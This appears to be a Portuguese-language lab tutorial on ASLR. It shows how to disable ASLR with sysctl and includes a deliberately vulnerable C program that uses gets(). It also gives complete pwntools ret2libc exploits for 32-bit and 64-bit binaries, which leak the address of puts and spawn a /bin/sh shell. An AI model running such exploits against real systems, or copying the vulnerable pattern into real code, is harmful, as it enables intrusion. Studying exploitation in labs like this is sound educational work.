ASLR

O que é ASLR (Address Space Layout Randomization)

O ASLR é uma proteção que aleatoriza os endereços de um binário, similar ao PIE, mas com a diferença de que os endereços aleatorizados pelo ASLR são de partes do sistema e bibliotecas utilizadas por processos. Dessa forma é comum pensar no ASLR como um PIE da libc, e isso de certa forma ajuda a entender o ASLR, mas na verdade há uma diferença crucial entre o PIE e ASLR. Essa diferença consiste em o PIE ser uma proteção de binários, ou seja, você pode compilar um programa com ou sem ele, já o ASLR é uma proteção de kernel, então não depende de como o programa foi compilado, e sim se a arquitetura que está rodando ele tem o ASLR ativado.

Existem 3 estados possíveis para o ASLR em uma máquina:

  • 0: Desabilitado.

  • 1: Randomização conservadora (conservative randomization).

  • 2: Randomização completa (full randomization).

E a forma de ver qual é o estado na sua máquina é por meio do comando sysctl -a --pattern 'randomize', e para alterar sudo sysctl -w kernel.randomize_va_space=estado.

Demonstrando o ASLR

 checksec Vuln-64
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 sysctl -a --pattern 'randomize'
kernel.randomize_va_space = 2

 ldd Vuln-64
        linux-vdso.so.1 (0x00007ffc02ff9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x000075f32dc00000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x000075f32de30000)

 ldd Vuln-64
        linux-vdso.so.1 (0x00007fffde3cf000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007e3ddba00000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007e3ddbe03000)

 ldd Vuln-64
        linux-vdso.so.1 (0x00007ffd98996000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ce1d0c00000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ce1d0fb2000)

Note que o binário Vuln-64 não contém o PIE, mas mesmo assim o endereço das libc está modificando toda vez que o comando ldd é executado, por conta do estado do ASLR estar em 2.

➜ sudo sysctl -w kernel.randomize_va_space=0   
kernel.randomize_va_space = 0

➜ ldd Vuln-64                                  
        linux-vdso.so.1 (0x00007ffff7fc9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

➜ ldd Vuln-64
        linux-vdso.so.1 (0x00007ffff7fc9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

➜ ldd Vuln-64
        linux-vdso.so.1 (0x00007ffff7fc9000)
        libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7dc6000)
        /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)

Repare que com o ASLR desativado, os endereços da libc não mudam mais.

É importante notar que se o binário for 32-bit e a máquina for 64-bit, o ASLR aparentemente não é aplicado.

Exploit

A forma para conseguir explorar o ASLR é similiar a do PIE, nós precisamos vazar algum endereço na libc e depois só precisamos subtrair o offset. Infelizmente, diferente do PIE, é muito difícil vazar algum endereço da libc por format string bug pois quando as funções terminam sua execução a pilha continua lá, ela só começa a ser sobrescrita, então a chance de um endereço "lixo" vazar é muito alta.

A melhor maneira de conseguir vazar algum endereço da libc é usando as labels .plt e .got. Resumidamente, toda vez que você chama uma função que não está no binário, você está chamando algum ponto na .plt, lá é verificado se o endereço está na .got, e se não estiver é feito alguns processos para identificar o endereço dessa função e no final esse endereço é salvo na .got. Dessa forma, nós podemos fazer uma função de impressão (usaremos a puts por ser mais simples) para imprimir seu próprio endereço.

Código fonte

VulnCode.c
#include <stdio.h>

void vuln(void){
    char buffer[20];
    puts("Você consegue retornar para a system?");
    gets(buffer);
}

int main(void){
    vuln();
}

/*
//Tirar o comentário caso queira compilar para 64bit.
void utilidade(){
    __asm__(
        "pop %rdi\n"
        "ret\n");
}*/

Exploit 32-bits

Como podemos ver nosso executável faz o uso da função puts, logo ela está na .plt, e também podemos ver que é posssível fazer um buffer overflow. Então nosso objetivo é alterar o endereço de retorno da vuln, de forma que ela retorne para o endereço da puts na .plt, passando como parâmetro o endereço dela mesmo na .got. É importante observar que precisamos que o programa continue rodando após isso, então precisamos colocar o endereço de retorno.

Como estamos compilando o programa sem o PIE, o exploit se torna bem fácil de se realizar com a utilização do ROP. Após vazarmos o endereço da puts, nós devemos subtrair seu offset e pronto conseguimos o endereço da libc, e com isso podemos realizar outro buffer overflow (lembre de fazer a função puts retornar para a main ou vuln) só que dessa vez nós fazemos o endereço de retorno ser a system e passamos como parâmetro /bin/sh.

E o exploit fica dessa forma:

Solve32.py
from pwn import *

elf = context.binary = ELF("./Vuln-32")
libc = elf.libc
p = process()

payload = flat(
    "A" * 32,
    elf.plt["puts"],
    elf.symbols["main"],
    elf.got["puts"],
)

#gdb.attach(p)
#input("PAUSE")

p.recvline()
p.sendline(payload)

leak = p.recvline()
leak = leak[:4].strip().ljust(4, b"\x00")
leak = u32(leak)

libc.address = leak - libc.sym["puts"]

print("Puts vazado: " + hex(leak))
print("Libc: " + hex(libc.address))
print("System: " + hex(libc.sym["system"]))

payload = flat(
    "B" * 32,
    libc.sym["system"],
    0x0,
    next(libc.search(b"/bin/sh"))
)

p.recvline()
p.sendline(payload)

p.interactive()

A função u32 é utilizada para considerar o número como little-endian, e a função flat concatena tudo dentro dela ajustando automaticamente para 32 ou 64 bits.

Exploit 64-bits

O exploit em 64-bits funciona da mesma forma que em 32-bits, a diferença é que em 64-bits o uso de gadgets se torna necessário. No nosso caso nós precisamos de algum gadget que tenha um pop rdi (não precisa ser pop necessariamente, só precisamos de alguma coisa que nos permita colocar os parâmetros no registrador rdi), e como nosso código fonte contém a função utilidade, isso facilita nossa vida, pois ela força o código conter esse gadget.

Então tudo o que nós precisamos fazer é refazer o exploit acima, trocando o padding e colocando os gadgets. É importante ressaltar que como vamos retornar para a system também precisamos de um gadget de retorno para não ocorrer problemas de stack alignment.

E o exploit fica dessa forma:

Solve64.py
from pwn import *

elf = context.binary = ELF("./Vuln-64")
libc = elf.libc
p = process()

pop_rdi_ret = 0x401175
ret = 0x401016

payload = flat(
    "A" * 40,
    pop_rdi_ret,
    elf.got["puts"],
    elf.plt["puts"],
    elf.symbols["main"]
)

p.recvline()
p.sendline(payload)

leak = p.recvline()
leak = leak[:8].strip().ljust(8, b'\x00')
leak = u64(leak)

libc.address = leak - libc.sym["puts"]

print("Puts vazado: " + hex(leak))
print("Libc: " + hex(libc.address))

payload = flat(
    "A" * 40,
    pop_rdi_ret,
    next(libc.search(b"/bin/sh")),
    ret,
    libc.sym["system"]
)

p.sendline(payload)

p.interactive()

Referências

Ir0nstone

Mente Binária

theurbanpenguin

Udacity

Atualizado